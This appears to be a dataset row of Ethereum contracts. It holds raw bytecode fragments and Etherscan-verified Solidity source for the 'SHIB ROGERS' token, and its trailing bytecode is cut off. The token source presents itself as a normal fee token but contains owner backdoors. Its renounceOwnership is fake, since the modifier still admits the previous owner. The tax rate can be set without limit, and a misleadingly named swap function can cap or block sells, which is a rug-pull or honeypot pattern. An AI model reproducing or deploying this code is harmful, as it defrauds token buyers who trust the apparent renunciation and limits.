6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561063b5780820151818401525b60208101905061061f565b505050509050019250505060405180910390f35b341561065a57600080fd5b6106626115ca565b6040518082815260200191505060405180910390f35b341561068357600080fd5b61069960048080359060200190919050506115d0565b005b34156106a657600080fd5b6106bc6004808035906020019091905050611685565b005b34156106c957600080fd5b610741600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611862565b6040518082815260200191505060405180910390f35b341561076257600080fd5b61076a611882565b6040518082815260200191505060405180910390f35b341561078b57600080fd5b610793611887565b6040518082815260200191505060405180910390f35b34156107b457600080fd5b6107ff600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061188d565b005b341561080c57600080fd5b6108226004808035906020019091905050611ba9565b005b60038181548110151561083357fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108a057600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f957600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a85578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098c57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a775760036001600380549050038154811015156109ec57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2857fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a85565b5b8180600101925050610956565b6001600381818054905003915081610a9d9190611eb7565b506003805490506004541115610abc57610abb6003805490506115d0565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b6057600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bcb57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610bf957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d8c57838015610d3f575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d725750828015610d71575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d7e576001820191505b5b8080600101915050610d08565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dce57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e2657600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610e4b57600080fd5b6001600380549050016004546032821180610e6557508181115b80610e705750600081145b80610e7b5750600082145b15610e8557600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610ef19190611ee3565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b6000806000809150600090505b60038054905081101561107057600160008581526020019081526020016000206000600383815481101515610fce57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561104f576001820191505b6004548214156110625760019250611071565b5b8080600101915050610f9d565b5b5050919050565b600080600090505b600380549050811015611140576001600084815260200190815260200160002060006003838154811015156110b157fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611132576001820191505b5b8080600101915050611080565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6111ab611f0f565b600380548060200260200160405190810160405280929190818152602001828054801561122d57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111e3575b505050505090505b90565b611240611f23565b611248611f23565b60008060055460405180591061125b5750595b908082528060200260200182016040525b50925060009150600090505b600554811015611319578580156112af575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112e257508480156112e1575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561130b578083838151811015156112f657fe5b90602001906020020181815250506001820191505b5b8080600101915050611278565b8787036040518059106113295750595b908082528060200260200182016040525b5093508790505b8681101561138d57828181518110151561135757fe5b906020019060200201518489830381518110151561137157fe5b90602001906020020181815250505b8080600101915050611341565b5b505050949350505050565b6113a1611f0f565b6113a9611f0f565b6000806003805490506040518059106113bf5750595b908082528060200260200182016040525b50925060009150600090505b6003805490508110156115225760016000868152602001908152602001600020600060038381548110151561140d57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115145760038181548110151561149657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114d157fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b80806001019150506113dc565b816040518059106115305750595b908082528060200260200182016040525b509350600090505b818110156115c157828181518110151561155f57fe5b90602001906020020151848281518110151561157757fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b8080600101915050611549565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160a57600080fd5b60038054905081603282118061161f57508181115b8061162a5750600081145b806116355750600082145b1561163f57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116de57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561173857600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117a257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361185785611ba9565b5b5b50505b505b5050565b600061186f848484611d65565b905061187a81611685565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118c957600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561192257600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561197a57600080fd5b600092505b600380549050831015611a68578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119b257fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a5a5783600384815481101515611a0b57fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a68565b5b828060010193505061197f565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b60008160008082815260200190815260200160002060030160009054906101000a900460ff1615611bd957600080fd5b611be283610f90565b15611d5e57600080848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611cc15780601f10611c9657610100808354040283529160200191611cc1565b820191906000526020600020905b815481529060010190602001808311611ca457829003601f168201915b505091505060006040518083038185876187965a03f19250505015611d1257827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611d5d565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b5b5b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611d8c57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611e4b929190611f37565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b815481835581811511611ede57818360005260206000209182019101611edd9190611fb7565b5b505050565b815481835581811511611f0a57818360005260206000209182019101611f099190611fb7565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f7857805160ff1916838001178555611fa6565b82800160010185558215611fa6579182015b82811115611fa5578251825591602001919060010190611f8a565b5b509050611fb39190611fb7565b5090565b611fd991905b80821115611fd5576000816000905550600101611fbd565b5090565b905600a165627a7a72305820ff151d3ea66d64c8ae68d5068ec44bebf49e5c9df023502572b79a242847eed60029
|
{"success": true, "error": null, "results": {}}
| 9,170 |
0x2dc8d95618f60e89374095d2ea8b0c30e6833349
|
/**
*Submitted for verification at Etherscan.io on 2021-10-24
*/
// SPDX-License-Identifier: MIT
// Official Telegram: https://t.me/SHIB_ROGERS
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() || _previousOwner==_msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0xdead));
_previousOwner=_owner;
_owner = address(0xdead);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBROGERS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate=6;
address payable private _taxWallet;
string private constant _name = "SHIB ROGERS";
string private constant _symbol = "SHIBROGERS";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxDump = _tTotal;
event MaxDumpAmountUpdated(uint _maxDump);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(0x87E84c568a51D61c2F97e2C3B1ff8A40724c6E0f);
_rOwned[_msgSender()] = _rTotal;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0 ,"Rate must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
require(amount <= _maxDump);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_maxDump = 10000000000 ;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function swap(uint256 limit) external onlyOwner {
_maxDump = limit;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b80638da5cb5b1461026957806394b918de1461029457806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190612682565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612232565b6103f6565b6040516101629190612667565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612804565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906121e3565b61041e565b6040516101ca9190612667565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f59190612879565b60405180910390f35b34801561020a57600080fd5b506102136104fc565b005b34801561022157600080fd5b5061023c60048036038101906102379190612155565b610576565b6040516102499190612804565b60405180910390f35b34801561025e57600080fd5b506102676105c7565b005b34801561027557600080fd5b5061027e6107dc565b60405161028b9190612599565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b69190612297565b610805565b005b3480156102c957600080fd5b506102d2610903565b6040516102df9190612682565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190612232565b610940565b60405161031c9190612667565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190612297565b61095e565b005b34801561035a57600080fd5b50610363610aa0565b005b34801561037157600080fd5b5061038c600480360381019061038791906121a7565b61101f565b6040516103999190612804565b60405180910390f35b3480156103ae57600080fd5b506103b76110a6565b005b60606040518060400160405280600b81526020017f5348494220524f47455253000000000000000000000000000000000000000000815250905090565b600061040a610403611118565b8484611120565b6001905092915050565b6000600554905090565b600061042b8484846112eb565b6104ec84610437611118565b6104e785604051806060016040528060288152602001612e1a60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d611118565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116139092919063ffffffff16565b611120565b600190509392505050565b600090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661053d611118565b73ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b600061056830610576565b905061057381611677565b50565b60006105c0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611971565b9050919050565b6105cf611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067c575061062b611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6106bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b290612764565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61080d611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108ba5750610869611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f090612764565b60405180910390fd5b80600c8190555050565b60606040518060400160405280600a81526020017f53484942524f4745525300000000000000000000000000000000000000000000815250905090565b600061095461094d611118565b84846112eb565b6001905092915050565b610966611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a1357506109c2611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4990612764565b60405180910390fd5b6000811015610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d906127e4565b60405180910390fd5b8060088190555050565b610aa8611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610b555750610b04611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b90612764565b60405180910390fd5b600b60149054906101000a900460ff1615610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612704565b60405180910390fd5b610c1330600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600554611120565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7b57600080fd5b505afa158015610c8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb3919061217e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3757600080fd5b505afa158015610d4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6f919061217e565b6040518363ffffffff1660e01b8152600401610d8c9291906125b4565b602060405180830381600087803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde919061217e565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e6730610576565b600080610e726107dc565b426040518863ffffffff1660e01b8152600401610e9496959493929190612606565b6060604051808303818588803b158015610ead57600080fd5b505af1158015610ec1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ee691906122c0565b5050506001600b60166101000a81548160ff0219169083151502179055506402540be400600c819055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fca9291906125dd565b602060405180830381600087803b158015610fe457600080fd5b505af1158015610ff8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101c919061226e565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e7611118565b73ffffffffffffffffffffffffffffffffffffffff161461110757600080fd5b6000479050611115816119df565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611190576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611187906127c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f7906126e4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604